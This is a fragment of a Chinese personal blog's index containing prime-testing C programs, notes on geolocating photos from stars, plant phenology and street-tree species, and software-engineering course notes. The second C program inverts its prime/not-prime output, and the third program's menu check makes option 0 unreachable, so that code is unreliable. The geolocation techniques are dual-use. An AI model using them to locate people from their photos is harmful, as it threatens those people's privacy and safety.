0;}\n","tags":["summary"]},{"title":"对于求素数的一些个人思考","url":"/2024/04/14/%E5%AF%B9%E4%BA%8E%E6%B1%82%E7%B4%A0%E6%95%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E4%B8%AA%E4%BA%BA%E6%80%9D%E8%80%83/","content":"看到一道题\n\n求100之内的素数\n\n动手尝试后查阅相关资料看到一篇文章:求质数算法的N种境界-试除法和初级筛法原文链接\n//法一。当数据不是素数时需要算很多才能停:(#include <stdio.h>int main() { int x; scanf_s("%d", &x); int i; for (i = 2; i < x; i++) { if (x % i == 0) { break; } } if (i < x) { printf("%d不是素数\\n",x); } else { printf("%d是素数\\n",x); } return 0;}\n\n//法二。:)#include <stdio.h>int main(){ int x; scanf_s("%d", &x); int i; int isPrime = 1; for (i = 2; i < x; i++) { if (x % i == 0) { isPrime = 0; break; } } if (isPrime == 1) { printf("%d不是素数\\n",x); } else { printf("%d是素数\\n",x); } return 0;}\n\n//法三。=)#include<stdio.h>#include<math.h>#define N 15000int main(){\tint a, i, j, k, num, sum = 0;\tprintf("Q1:要求多少以内的素数?\\nQ2:要多少个素数?\\n");\tprintf("Q1请输入0,Q2请输入1\\n请输入:");\tscanf_s("%d", &a);\twhile (a != 1 && a != 2)\t{\t\tprintf("请重新输入:");\t\tscanf_s("%d", &a);\t}\tif (a == 0)\t{\t\tprintf("请输入数字:");\t\tscanf_s("%d", &num);\t\tfor (i = 2; i <= num; i++)\t\t{\t\t\tk = sqrt(i);\t\t\tfor (j = 2; j <= k; j += 1)\t\t\t{\t\t\t\tif (i % j == 0)\t\t\t\t{\t\t\t\t\tbreak;\t\t\t\t}\t\t\t}\t\t\tif (j > k)\t\t\t{\t\t\t\tprintf("%d\\t", i);\t\t\t\tsum++;\t\t\t\tif (sum % 10 == 0)\t\t\t\t{\t\t\t\t\tprintf("\\n");\t\t\t\t}\t\t\t}\t\t}\t\tprintf("\\n%d内一共有%d个素数", num, sum);\t}\telse if (a == 1)\t{\t\tprintf("请输入数字:");\t\tscanf_s("%d", &num);\t\tfor (i = 2; i <= N; i++)\t\t{\t\t\tk = sqrt(i);\t\t\tfor (j = 2; j <= k; j += 1)\t\t\t{\t\t\t\tif (i % j == 0)\t\t\t\t{\t\t\t\t\tbreak;\t\t\t\t}\t\t\t}\t\t\tif (j > k)\t\t\t{\t\t\t\tprintf("%d\\t", i);\t\t\t\tsum++;\t\t\t\tif (sum % 10 == 0)\t\t\t\t{\t\t\t\t\tprintf("\\n");\t\t\t\t}\t\t\t\tif (sum == num)\t\t\t\t{\t\t\t\t\tbreak;\t\t\t\t}\t\t\t}\t\t}\t}\treturn 0;}\n\n附质数筛法工作过程GIF图\n\n","tags":["summary"]},{"title":"社工信息搜集","url":"/2024/04/14/%E7%A4%BE%E5%B7%A5%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/","content":"社工信息搜集BV1Jk4y1S7H7\n\n 推荐up主:地图侦探、地球百科君、MU芝士语言学\n\nStellarium\n星空定位经纬度假设天上两卫星,以其中一个卫星为圆心和你的距离为半径画一个球体,这个球体和地球交线为一个圆,你只可能在这个圆上\n\n另一个如法炮制,则一个球和一个圆焦点只有两个点,你一定在这两个点上\n\n此时如果以你为原点,两颗卫星的相对位置会为你排除其中一个点,你的位置就能确定。如果天上卫星越多,就越精确\n\n对于星星可视作无穷远距离,我们假设它们都在一个单位球上即可\n\n\n以该图为例图,图中位于上方的消失点是天顶(0,0,1),再通过焦距计算出每个恒星的球坐标,因为以赤道算\n\n\n恒星的赤经、赤纬是确定的\n\n则我们就能将赤经转换为地平线坐标下的时角,也能将赤道坐标的北极点转化为地平坐标,那么纬度和地方时就知道了\n赤经/赤纬(当前日期纪元):10h47m41s/+7°07'51"时角/赤纬:15h20m36s/+7°07'51"方位角/高度角:+63°25'22"/-31°35'34"\n\n如果知道时间,还能确定经度,当然,就算不知道时间,如果图片中能看到月亮,或者图片清晰度较高且能看到金星或者火星,也能确定位置,因为这三个离我们比较近\n\n比如金星,将位置调离当前位置10个经度、10个纬度,金星的赤经和赤纬分别变化了1秒和2秒\n当前位置:114.514E,40.1920N调至124.514E,30.1920N时金星赤经-1秒,赤纬+2秒\n\n注意事项发星空照片时\n\n最好不要有任何地景,这样便无法确定天顶在哪。如果主要目的是夜景,请处理图片时将照片中的星星拉到看不见;如果主要目的是星空,一般专业的天问摄影者才会追求照片的不一致而附带地景。\n如果你希望带地景,最好不要发出来,或者只有树木这种不笔直的难以用来确认天顶的景物也是可以的。\n\n不要即拍即发。一般情况下专业的天问摄影者带地景的照片也都是回去叠加等处理之后才发出来的,你也可以在拍完回到室内后修一修,然后定时发表,不要透露拍摄的真实时间。\n\n如果主要目的是拍月球,不要把曝光拉太高,否则会把边上恒星拍进来。\n\n照片中请勿出现南门二或水委一,否则认识星星的人一眼就知道你大概率在海南(小概率在广东、福建、台湾、广西、云南)。当然要在国外旅游的话那没事。\n\n\n\n植物、物候粗略定位物候春天的时候,武汉和哈尔滨物候能差50天\n\n\n物候加减算法:BV1p5411o7Qi\nPPBC中国植物图像库\n+代表比此地早相应天数,-代表比此地晚相应天数\n2-5月物候差:\n\n9月物候差:\n\n\n只要算花期在范围内的地方就行,如果能从照片中看出是始花还是盛花还是开败,还能更加精确\n尤其是春季花卉主力军蔷薇科,从初花到开败总共就十天出头。\n\n花期最短的是紫叶稠李,只有7天左右,其他李属植物比如桃杏李大多数在十一二天,苹果属的比如各种海棠和梨属的稍微长点,绣线菊属的最长,但也不超过20天。只有月季和棣棠等一些培育品种花期可以长达几个月。\n\n植被软件推荐:形色\n国内高原、草原、荒漠、寒温带、中温带、暖温带、亚热带、热带的典型植被网上图片一大堆\n用普通植物确定位置就是一个平面规划,用每种植物的分布取交集\n\n\n全球生物多样性信息设施(GBIF):有所有植物的观察到的地点,搜索要用学名\n\nGBIF最大的问题是不能保证鉴定正确,当然对于普通人来说是完全够用的\n\n例如槭叶铁线莲,西南的这些点全部是错误鉴定\n但对于大多数常见的植物来说,只要正确鉴定足够多,错误鉴定的地点就能一眼看出来\n\n\n实战\n孤独摇滚第九集\n可辨认出三种植物:鹅掌柴、贯众、玉竹\n\n玉竹亚欧广泛分布不考虑。鹅掌柴是很典型的热带植物。因为现在有很多室内种植,所以GBIF上的点可信度就比较低了,我们翻国内标本,最北的是浙江平阳\n\n虽然最北的是浙江平阳,但是平均气温最低的产地是贵州紫云,故后续按照紫云算\n\n\n再找到日本一月最低气温图,可以把地点确定到本州岛东南近岸以及更南\n\n贯众是典型的温带植物,从分布可看出只要一到南亚热带就没了\n\n贯众:\n广东:乳源、乐昌、平远、阳山、英德\n广西:武鸣、马山、融水、阳朔、临桂、兴安、龙胜、资源、百色、德保、凌云、田林、隆林、东兰、珠江、龙州\n\n这样再排除琉球群岛和九州岛南部,这样面积已经缩小到约7万平方公里的区域了,相当于一个重庆\n\n行道树35种及危险等级,危险等级越高的越不要在自己发表的照片中出现\n下图中如果上色是暖色调为主,若非特殊说明,则红色一般代表很大可能会作为行道树的地方\n橙色代表有但是不太可能当做行道树大规模种植的地区\n如果只涂了蓝色则蓝色代表没有这种树的地区,其他地方都有可能用来做行道树\n\n白桦和岳桦\n\n红色和橙色代表白桦,深红色区域白桦岳桦都有,两种都是典型的东北行道树,危险等级高\n\n\n白蜡树\n\n全国大多数地区都有,尤其是东北和西北会更多地用作行道树,但是各地会种一些具有地方特色的同属物种,比如东北的水曲柳,云南的楷叶梣,湖北的湖北梣,新疆的小叶梣等,如果能认出这些来危险度极高,所以建议拍白蜡树前用识花软件识别一下\n\n\n垂柳\n\n基本全国都有,水边多一些,危险程度低\n\n\n刺槐\n\n早已入侵全国大多数地区,但只有三北这片没什么好的绿化树种的才会用作行道树,危险程度高\n\n\n杜仲\n\n中国特产,除了不耐冷,哪都能种,危险程度较低\n\n\n盾柱木禾银荆\n\n豆科的两种树,红色代表二者都有,橙色代表只有银荆,北方人甚至都没听说过这是啥,危险程度极高\n\n\n鹅掌楸\n\n主要在暖温带和亚热带,危险程度中\n\n\n法国梧桐\n\n作为行道树的绝佳材料,目前几乎全国各地都栽种,危险程度低\n\n\n高山榕\n\n以高山榕为代表的各类榕属行道树只分布在热带,尤以闽语区较多,危险程度极高\n\n榕属重庆也很常见,小叶榕大叶榕\n\n\n\n国槐\n\n现在很多地方也都有了,不过还是北方更倾向用,危险程度较低\n\n\n旱柳\n\n基本全国都有,但也是只有北方相对干旱才会选择较多一些,危险程度中等\n\n\n合欢\n\n只有非常冷的地方没有,危险程度低\n\n\n黑杨&加杨\n\n前者主要以北方为主,尤其以新疆为甚,后者在南方也会种一些,危险程度是较高和较低\n\n\n黄花风铃木\n\n虽然整个北回归线附近都标红了,但还是广东种得最多,危险程度极高\n\n\n金钱松\n\n典型的长江流域植物,黄淮流域也会有一点,危险程度较高\n\n\n辽椴&椴树\n\n典型的以秦岭-淮河为界分布的物种,因为材貌双全,全国各地都有作为行道树,橙色是分布区边缘,种植较少,黄色是过渡带,种植也较少,危险程度偏高\n\n\n栾树\n\n主要区域是汉地十八省,危险程度较低\n\n\n落叶松\n\n典型的三北地区的行道树,一般也是因为比较冷才会种这个,危险程度高\n\n\n毛白杨\n\n分布比较广,但也只有北方常用来作行道树,危险程度比较高\n\n\n毛泡桐&兰考泡桐\n\n比较少见的行道树,但非常特色,比如北京地铁亦庄线两侧,红色区域二者兼有,橙色基本只有兰考桐,浅橙色基本只有毛泡桐,危险程度较高\n\n\n美丽异木棉\n\n热带季风气候专属,危险程度极高\n\n\n木棉\n\n比异木棉好点,危险程度高\n\n深圳好多\n\n\n\n南洋杉\n\n听名字就知道不是北方的东西,危险程度高\n\n四川也有\n\n\n\n七叶树\n\n除了果实非常大可能会砸到人,其它都完美的行道树,现在暖温带和亚热带广泛种植,危险程度中等\n\n\n梧桐\n\n一种不耐寒的树,主要还是南方多(但是太原和青岛也有)\n\n\n香樟树&桂花\n\n这俩八竿子打不着,但分布差不多都是黄河以南,危险程度中高\n\n南昌、苏州全是这两种\n\n\n\n银杏\n\n2.7亿岁的up主,现在全国各地都有粉丝,但作为典型的温带树种,南岭以南、长城以北还是活不了\n\n赤峰、呼和浩特也有\n\n\n\n各类枫树\n\n红色代表元宝槭鸡爪槭都有,浅橙色代表只有鸡爪槭,橙色代表只有元宝槭,深红色则更多是当地的枫树物种,当然别处也有自己的,比如东北的三花槭,湖北的房县槭,云南的漾濞槭。元宝槭和鸡爪槭危险程度低,其它的建议先识花\n\n\n梓属物种\n\n以楸树、梓树和黄金树为代表的梓属物种,依然是除了特别冷和特别热的地方,全国都有,危险程度低\n\n","tags":["summary"]},{"title":"软件工程","url":"/2024/04/15/%E8%BD%AF%E4%BB%B6%E5%B7%A5%E7%A8%8B/","content":"软件工程一、软件工程概述Rational Rose\n软件=程序+数据+文档\n软件工程:用工程化的方法指导计算机软件开发和维护的一门工程学科\n软件工程包括软件开发技术(过程、方法和工具)与软件工程管理\n软件生命(存)周期软件生命周期:软件产品从形成概念开始,经过开发、使用和维护,直到最后退役的全过程\n分为三个时期:软件定义、软件开发和运行维护(也称为软件维护)。每个时期又进一步划分为若干个阶段\n\n\n\n\n阶段\n关键问题\n结束标准\n\n\n\n问题定义\n问题是什么?\n关于规模和目标的报告书\n\n\n可行性研究\n有可行的解吗?\n系统的高层逻辑模型:数据流图、成本/效益分析\n\n\n需求分析\n系统必须做什么?\n系统的逻辑模型:数据流图、数据字典、算法描述\n\n\n总体设计\n概括地说,应该如何解决这个问题?\n可能的解法:系统流程图、成本/效益分析推荐的系统结构:层次图或结构图\n\n\n详细设计\n怎样具体地实现这个系统?\n编码规格说明:HIPO图或PDL\n\n\n编码/单元测试\n正确的程序模块\n源程序清单:单元测试方案和结果\n\n\n综合测试\n符合要求的软件\n综合测试方案和结果:完整一致的软件配置\n\n\n维护\n持久地满足用户需要的软件\n完整准确的维护记录\n\n\n\n例:教材销售系统\n学生购买学校教材的手续可能是:\n\n学生自己写一个希望买什么书的列表,先找系办公室开购书申请(用于确定学生可购买的书,希望用软件实现,完全由教材科控制)\n凭申请找教材科开购书证明(确定是否卖完,希望用计算机实现)\n向财务交付书款获得领书单,然后到书库找保管员领书\n\n\n关于系统规模和目标的报告书\n\n项目名称:教材销售系统\n\n问题:人工发售教材手续繁杂,且易出错\n\n项目目标:建立一个高效率、无差错的教材销售系统\n\n项目规模:利用现有计算机,软件开发费用不超过5000元\n\n初步想法:验证学生可买什么书\n​\t建议在系统中增加对缺书的统计与采购功能\n\n可行性研究:建议进行大约10天的可行性研究,研究费用不超过500元\n\n\n\n\n软件维护\n\n任务:使系统持久地满足用户的需要\n\n改正性维护,诊断和改正在使用过程中发现的软件错误\n适应性维护,修改软件以适应环境的变化\n完善性维护,根据用户的要求改进或扩充软件,工作量最大\n预防性维护,修改软件为将来的维护活动做准备\n\n每一项维护活动实质上是经历了一次压缩和简化了的软件定义和开发的全过程\n\n结果:完整准确的维护记录\n\n\n\n\n软件工程方法\n软件过程模型瀑布模型传统的瀑布模型\n\n\n计划:时间计划、成本计划、人力资源计划等\n\n实际的瀑布模型\n\n\n后续阶段发现前面阶段的错误,使用反馈环返回修改\n\n\n特点:\n\n\n阶段间具有顺序性和依赖性,不允许同时进行\n前一阶段的工作完成之后,才能开始后一阶段的工作\n前一阶段的输出文档就是后一阶段的输入文档\n\n\n推迟实现的观点\n对于规模较大的软件项目来说,往往编码开始得越早最终完成开发工作所需要的时间反而越长\n\n\n质量保证的观点\n每个阶段都必须完成规定的文档,是“文档驱动”的模型\n每个阶段结束前都要对所完成的文档进行评审,尽早发现问题,改正错误\n\n\n\n\n优点:\n\n强迫开发人员采用规范的方法\n严格地规定了每个阶段必须提交的文档\n要求每个阶段交出的所有产品都必须经过质量保证小组的仔细验证\n\n\n缺点:\n\n客户要准确、完整、全部的表达出自己的要求\n缺乏灵活性。一旦需求存在偏差,最终只能终止或者失败(偏差随着系统推进,层层放大,失之毫厘谬以千里)\n用户只能通过文档了解产品,不经过实践的需求时不切实际的\n\n\n适合瀑布模型的项目特征\n\n需求:预知,需求明确\n方案:技术、方法、框架,方案成熟明确\n类似项目:小型项目\n\n\n\nV模型强调了测试在软件开发过程中的重要性\n\n\n适合V模型的项目特征\n需求:很明确\n方案:很明确\n类似项目:系统性能、安全有严格要求等\n\n\n\n增量模型增量模型把软件产品作为一系列的增量构件来设计、编码、集成和测试\n\n\n特点:\n\n该模型假设需求是可以分段的,称为一系列增量产品,每一增量可以单独开发\n比如,使用增量模型开发字处理软件时:\n​\t第一个增量构件往往提供软件的基本需求,提供最核心本的文件管理、编辑和文档生成功能。例输入、插入、新建、存储\n​\t第二个增量构件提供更完善的编辑和文档生成功能,比如菜单,复制、粘贴、另存为等\n​\t第三个增量构件实现拼写和语法检查功能\n​\t第四个增量构件完成高级的页面排版功能\n\n优点:\n作为瀑布模型的变体,拥有瀑布模型的全部优点\n第一个可以交付的版本所需要的成本和时间少,迅速占领市场\n承担的风险小\n当配备的人员有限,不能在设定的期限内完成产品时,可以提供先推出核心产品的途径\n逐步增加产品功能可以使用户有较充裕的时间学习和适应新产品\n\n\n难点:\n软件体系结构必须是开放的\n如果分增量块过多的话,会增加管理成本\n不同的构件并行地构建有可能加快工程进度冒无法集成到一起的风险\n\n\n\n\n增量模型整体以瀑布模型为基准,对瀑布模型的拓展。在概要设计完成后,使用增量模型,分模块进行增量组件的开发。增量组件称为构件,方便软件复用\n\n\n适合增量模型的项目特征\n需求:需求会变动\n方案:对完成期限有严格要求,开发早期阶段获得投资回报,对于市场和用户把握需要逐步了解进行已有产品升级或新版本开发非常合适\n类似项目:适用于商业软件的开发\n\n\n\n\n实例\n微软“同步—稳定的产品开发模型”\n\n将项目分成若干个里程碑\n定义稳定、灵活的体系结构,并为构件和子系统的开发提供统一的接口\n开发构件,维持一个可发布的系统版本\n\n可以准确把握项目进展情况\n增强开发人员的信心和成就感\n可以随时根据市场情况及时作出调整\n\n快速原型模型第一步是快速的建立一个能反应用户主要需求的原型系统,让用户在计算机上试用它,通过实践来了解目标系统的概貌\n\n\n步骤\n\n获取用户需求,描述规格说明书\n使用原型(样本)思想获取用户需求\n\n原型也可能是公司现有的一个类似软件,或只是界面,或只是文档。可能是最终产品能完成的功能的一个子集\n一旦原型完全符合用户需求,开发人员根据其写说明书\n\n\n根据规格说明书开发维护软件\n\n\n\n特点:\n\n软件产品的开发基本上是线性顺序进行的\n快速原型的本质是“快速”。应该尽可能快地建造出原型系统,以加速软件开发过程,节约成本\n在整个开发过程中,初始及多次迭代的原型可能跟用户的需求完全不同,引起客户不满。但同时用户也能随时看到实物和进展\n\n\n适合快速原型模型的项目特征\n\n需求:不明确,不能完整、准确的定义\n希望:减少项目需求的不确定性\n方案:项目很小,较简单。有快速原型开发工具或软件类似产品\n\n\n\n螺旋模型增加了风险分析过程的瀑布模型和快速原型模型混合\n风险分析是对工程建设项目投资决策或企业生产经营决策可能造成的失误和带来的经济损失所进行的估计\n\n特点:\n\n每完成一项任务,都要先进行风险识别,然后风险分析,对存在的风险尽力进行风险控制。若风险很大,无法解决,甚至可以停止工作的进行\n\n图中的四个象限代表了以下活动:\n\n制定计划:确定软件目标,选定实施方案,弄清项目开发的限制条件;(左上)\n风险分析:分析评估所选方案,考虑如何识别和消除风险;(右上)\n实施工程:实施软件开发和验证(右下)\n客户评估:评价开发工作,提出修正建议,制定下一步计划。(左下)\n\n\n优点:\n\n主要优势在于它是风险驱动的。在评估和风险分析阶段都可作出项目是否继续,以规避无法承担的风险\n螺旋循环的次数指示了已消耗的资源\n对可选方案和约束条件的强调有利于已有软件的重用,也有助于把软件质量作为软件开发的一个重要目标\n减少了过多测试或测试不足所带来的风险\n维护只是模型的另一个周期,维护和开发之间没有本质区别\n\n\n缺点:\n\n采用螺旋模型需要具有相当丰富的风险评估经验和专门知识,在风险较大的项目开发中,如果未能够及时标识风险,势必造成重大损失\n过多的迭代次数会增加开发成本,延迟提交时间\n\n\n适合螺旋模型的项目特征\n\n特别适用于庞大、复杂并具有高风险的系统\n适用于内部开发的大规模软件项目\n\n\n\n喷泉模型瀑布模型的一种变体,旨在解决瀑布模型中的一些缺陷,特别是对需求变更的不灵活性\n喷泉模型允许在项目的任何阶段对需求进行调整和修改,使得开发过程更加灵活\n\n\n特点:\n各阶段相互重叠,反映了软件过程并行性的特点\n以分析为基础,资源消耗呈塔形,在分析阶段消耗的资源最多\n反映了软件过程迭代的自然特性,从高层返回低层没有资源消耗\n强调增量式开发,它依据分析一部分就设计一部分的原则,不要求一个阶段的彻底完成。整个过程是一个迭代的逐步细化的过程\n是对象驱动的过程,对象是所有活动作用的实体,也是项目管理的基本内容\n在实现时,由于活动不同,可分为对象实现和系统实现,不但反映了系统的开发全过程,而且也反映了对象族的开发和复用的过程\n\n\n适合喷泉模型的项目特征\n需求可能频繁变更\n强调增量式开发(快速交付)\n\n\n\n总结\n\n\n模型名称\n技术特点\n适用范围\n\n\n\n瀑布模型\n简单,分阶段,阶段间存在因果关系,各个阶段完成后都有评审,允许反馈,不支持用户参与,要求预先确定需求\n需求易于完善定义且不易变更的软件系统\n\n\n增量模型\n软件产品是被增量式地一块块开发的,允许开发活动并行和重叠\n技术风险较大、用户需求较为稳定的软件系统\n\n\n快速原型模型\n不要求需求预先完备定义,支持用户参与,支持需求的渐进式完善和确认,能够适应用户需求的变化\n需求复杂、难以确定、动态变化的软件系统\n\n\n螺旋模型\n结合瀑布模型、快速原型模型和迭代模型的思想,并引进了风险分析活动\n需求难以获取和确定、软件开发风险较大的软件系统\n\n\nUML\nStarUML\n二、需求分析——用例模型&分析模型用例模型\n从描述语言和视角:\n\n用例模型主要使用客户的语言进行描述,它代表了系统的外部视图。这意味着用例模型从客户的角度出发,详细描述了系统应该提供的功能和行为\n分析模型则使用开发人员的语言进行描述,它提供了系统的内部视图。分析模型更注重于系统的内部结构和实现细节,帮助开发人员理解如何构建系统\n\n从构造方式和结构:\n\n用例模型是通过用例来构造的,这些用例提供了外部视图的结构。每个用例都描述了一个特定的系统行为或功能,以及与之相关的输入、输出和前置后置条件\n分析模型则是通过构造型的类或包来构造的,这些类或包提供了内部视图的结构。分析模型更关注于系统的组件、接口和交互关系,以支持系统的设计和实现\n\n用途也存在差异:\n\n用例模型主要用于客户和开发人员之间签订合同时明确系统应该和不应该做什么\n分析模型则主要为开发人员所用,以帮助他们理解如何构造系统,即怎样设计和实现系统\n用例图\n组成\n\n参与者(活动者,Actor)\n用例(Use Case)\n关系(Relationship)\n\n\n\n关系类型\n说明\n表示符号\n\n\n\n关联\n参与者和用例间的关系,调用了(参与者要使用系统的功能)\n\n\n\n泛化(继承)\n表示两个类之间的继承关系,其中一个类是另一个类的特殊情况。\n\n\n\n包含\n表示一个用例包含了另一个用例,用于将一个用例的功能分解为多个较小的、更具体的用例。\n\n\n\n拓展\n表示一个用例在某些条件下可以扩展另一个用例的行为,用于描述用例之间的可选行为。\n\n\n\n\n关联——调用本身\n\n参与者和用例间的关系\n\n泛化(继承)——“is a…”\n\n参与者之间或用例之间\n\n包含(Include)——“has a…”\n\n用例之间的关系\n箭头指向分解出来的功能用例\n箭头出发的用例为基用例。包含用例是必选的,如果缺少包含用例,基用例就不完整。\n\n拓展——特殊情况\n\n用例之间的关系\n箭头指向基础用例\n用例文档\n用例描述文档组成:\n\n用例名称:与用例图同,并写相应编号\n简要说明/描述:简要描述功能\n优先级:标识软件客户对该用例实现状况的期许(满意度1-5、不满意度1-5),数字越大,优先级越高\n参与者(执行者):使用该用例的人或系统等\n前置条件:在用例启动时参与者(actor)与系统应置于什么状态。此状态是系统可识别的\n后置条件:用例结束时系统应置于什么状态。即用例结束时的系统状态或持久数据情况\n\n\n基本事件流:对用例中常规、预期路径的描述。由若干步骤构成一个完整的交互过程\n\n使用主动语句,以执行者或系统为主语\n不涉及到界面细节\n使用业务语言,而不使用专业术语\n\n\n异常事件流:对用例执行中一些异常情况进行描述\n\n业务规则:用例执行中与业务有关的一些规则要求\n\n扩展点:包含用例或扩展用例,此处写出用例名\n\n涉及的业务实体:建立了对象模型后完善\n\n\n用例图示例:\n\n活动图\n组成\n\n初始节点和终点\n活动节点\n转换\n决策与分支、合并\n分岔与汇合\n对象流(可选)\n泳道(可选)\n\n\n初始节点:\n\n\n\n终点:\n\n\n\n活动节点:表示一个活动,一个活动表示一个或多个动作的集合\n\n\n\n转换:\n\n\n\n决策与分支、合并:分支之间是互斥的\n\n\n\n分岔:表示一个控制流被两个或多个控制流代替,经过分岔后,这些控制流是并发进行的\n\n\n\n汇合:与分岔相反,表示两个或多个控制流被一个控制流代替\n\n\n\n对象流:活动和对象之间的关系\n\n\n\n泳道:活动的负责者\n\n\n活动图示例:\n\n带泳道和对象流的活动图示例:\n\n分析模型类图\n类\n\n\n命名\n简单名:Order\n路径名:java::awt::Rectanget\n​\t\tbusinessRule::Order\n​\t\t包名::类名\n属性\n属性名的第一个字母小写\n[可见性] 属性名 [:类型] [=初始值] [{特性}]\na:int\n\npublic(+):即模型中的任何类都可以访问该属性\nprivate(-):表示不能被别的类访问\nprotected(#):表示该属性只能被该类及其子类访问\nPackage(~):这个类只能由同一包中的其他类访问\n\n\n组成\n\n类\n接口\n关系\n注释\n约束\n包\n\n接口:包含抽象方法的声明,但不包含具体实现。接口可以实现多态\n\n\n\n关系:类和类之间的线就是关系\n\n注释:文档不在正式程序中,只做注释说明\n\n约束:{}包含,定义关系约束或者类约束\n\n包:用于逻辑上将复杂的类图模块化,从而更好地组织和理解代码结构。通过将功能和结构相似的类放入同一个包内,可以使得整个系统的结构更加清晰和易于理解\n\n\n\n\n\n关系\n\n关联(普通关联、同类对象角色关联、限定关联):表现在代码实现中,一个对象会作为另一个对象的属性\n聚集(聚合、组合):关联的一种特殊情况。聚集表示类与类之间的关系是整体与部分的关系\n依赖\n\n依赖关系不会增加属性\n\n泛化\n实现\n\n\n普通关联:表明两个类之间存在某种形式的交互或依赖\n\n\n多重性:某个类的对象可以和其他类的多个对象联系\n1对1:学生和学生证\n1对多:一个学院有多名学生\n多对多:一个学生可以选择多门课,一门课也有多名学生\n固定值(1)\n无限定的多个(*)\n一个取值范围:0..1,1..*,0..*,2..5\n\n\n\n自反关联:表示类与自身的关联,即同类不同对象间的联系\n\n\n\n限定关联:利用限定词把一对多关系简化成了一对一关系\n\n\n\n关联类:为了说明关联的性质可能需要一些附加信息。这些信息放到关联的任一方都不合适,可以引入一个关联类来记录这些信息关联类与一般的类一样,也有属性、操作和关联\n\n\n\n聚合:处于部分方的对象可同时参与多个处于整体方对象的构成(弱)\n\n\n\n组合:如果部分类完全隶属于整体类,部分与整体共存,整体不存在了部分也会随之消失(强)\n\n\n\n依赖:描述两个类之间的使用关系,两个类之间是没有关系的,但是一个类的实现需要另一个类的协助,这就产生了依赖\n\n依赖关系的代码表现:\n局部变量、方法参数、对静态方法的调用\n\n\n关联是很稳定的关系,依赖是弱关系。\n表现在代码实现中,一个对象会作为另一个对象的属性是关联\n一个对象的实现用到另一个对象的方法是依赖\n\n关联有可能是双向关系\n依赖不可能是双向关系\n\n\n泛化:就是通常所说的继承关系,泛化针对类型而不针对实例,通常包含类与类之间的继承关系和类与接口实现关系\n\n\n没有具体对象的类称为抽象类,一般作为父类,用于描述其他类(子类)的公共属性和行为。在类名、操作下方附加一个标记值**{abstract}*表示,也可用斜体*表示类名称和属性、方法\n\n\n\n实现:对应于类和接口之间的关系\n\n\n总结\n两个类之间,分析是否为泛化、实现、依赖。\n如果不是,分析是否是聚合、组合。\n如果不是,考虑是否存在关联类、自身关联。\n如果不是,为普通关联。\n类图示例:\n\n名词识别法构建类图\n人员:系统需要保存或管理其信息的人员,或在系统中中扮演一定角色的人员\n\n组织:在系统中发挥一定作用的组织机构\n\n物品:需要由系统管理的各种物品,包括无形事物\n\n设备:在系统中被使用或由系统进行监控的设备、仪器等,系统运行中的硬件设备(如打印机)除外。\n\n事件:需要由系统长期记忆的事件\n\n\n\n从文档中寻找类(名词)\n确定类之间的关系\n确定操作(动词)\n精化类和类间的关系;绘制类图\n\n顺序图\n组成\n\n对象–Object\n生命线–Lifeline\n控制焦点(激活)–Activation\n消息–Message\n\n对象:通常将发起交互的对象放在左边,将接收消息的对象放在右边。\n\n生命线:表示对象存在的时间,如果对象生命期结束,则用注销符号表示\n\n\n\n\n控制焦点(激活期):生命线下方的矩形框,表示一个控制焦点,表示对象在现在要产生一个交互活动,发消息或者调用\n\n调用消息(同步消息):必须得到回应才能进行下一项操作\n\n发送消息(异步消息):只关注消息发送,不关注消息反馈,在发送后继续自己的操作\n\n返回消息(虚线表示):表示消息的返回。一般同步的返回不需画出,直接隐含,也可使用返回消息强调返回结果值。异步返回需要返回消息\n\n\n\n\n顺序图示例:\n\n补充\n\n消息编号\n\n顺序编号:在每个消息的前面加上一个用冒号隔开的顺序号来表示其顺序\n\n\n嵌套编号:把属于同一个对象发送和接收的消息放在同一层进行编号\n\n\n\n\n选择、循环表示\n交互片段可以用于描述系统中不同组件或对象之间的交互流程\n\n表示分支的操作符\nalt:支持多条件\nopt:支持单条件\n\n表示循环的操作符:loop\n\n\n\n\n分析类\n边界类:处理系统环境和系统内部间的通信\n用户界面类\n系统/设备接口类\n\n\n\n\n\n控制类:定义控制逻辑和事务逻辑\n\n\n\n实体类:记录系统所需要维护的数据和对这些数据的处理行为\n\n\n状态图\n组成\n\n初态\n终态\n中间状态\n转换线\n事件(信号事件:异步、调用事件:同步、变化事件、时间事件)\n\n初态\n\n\n\n终态\n\n\n\n中间状态:用圆角矩形表示,分成上、中、下3部分:\n\n上面部分—–为状态的名称;\n\n中间部分—–为状态下关键变量的名字和值(可无)\n\n下面部分—–是活动表:当前状态下需要做的一些事情,不会改变状态(可无)\n\n\n\n\n\n活动表的语法格式:\n事件名(参数表)/动作表达式\n\n常用的3种标准事件:\nentry事件指定进入该状态的动作;\nexit事件指定退出该状态的动作;\ndo事件则指定在该状态下的动作。\n\n事件表达式的语法:\n事件说明[守卫条件]/动作表达式\n\n守卫条件是一个布尔表达式。如果同时使用事件说明和守卫条件,则当且仅当事件发生且布尔表达式为真时,状态转换才发生。如果只有守卫条件没有事件说明,则只要守卫条件为真状态转换就发生\n事件说明和[守卫条件]至少写一个,动作表达式可以没有\n\n\n信号事件:异步\n\n\n\n变化事件:用关键字When,后面跟布尔表达式\n\n\n\n时间事件:用关键字After\n\n\n状态图示例:\n\n总结\n三、概要设计架构设计——系统分成几个层次,采用什么样的体系架构\n模块设计——每个层次应该包括那些模块构成,需要创建哪些功能模块\n接口设计——模块之间的关系如何,如何进行信息传递\n数据设计——数据结构如何,通过最底层的数据库对整个程序功能进行支撑\n\n模块设计的原理——模块化评价标准:耦合度、内聚度\n\n耦合:如果改变程序中的一个模块,要求另一个模块也同时发生改变,就认为这两个模块发生了耦合\n内聚:衡量一个模块内部各个元素(属性、方法)彼此结合的紧密程度。内聚要高,每个模块完成一个相对独立的特定子功能\n\n低耦合、高内聚\n耦合度\n非直接耦合/完全独立(no direct coupling)\n\n\n\n不可能存在\n\n\n数据耦合(data coupling)\n\n两模块间通过参数交换信息,且交换的信息仅是数据\n\n维护更容易,对一个模块的修改不会使另一个模块产生退化错误\n\n控制耦合(control coupling)\n\n两个模块彼此间传递的信息中有控制信息\n\n\n模块B种存在if语句,并且判断条件和A相关。\n控制耦合多进行解耦,一般会在业务层根据控制条件,调用不同的类。\n\n控制耦合往往是多余的,把模块适当分解之后通常可以用数据耦合代替它\n被调用的模块需知道调用模块的内部结构和逻辑,降低了重用的可能性\n\n特征耦合(stamp coupling)\n\n把整个数据结构作为参数传递而被调用的模块只需要使用其中一部分数据元素\n\n公共环境耦合(common 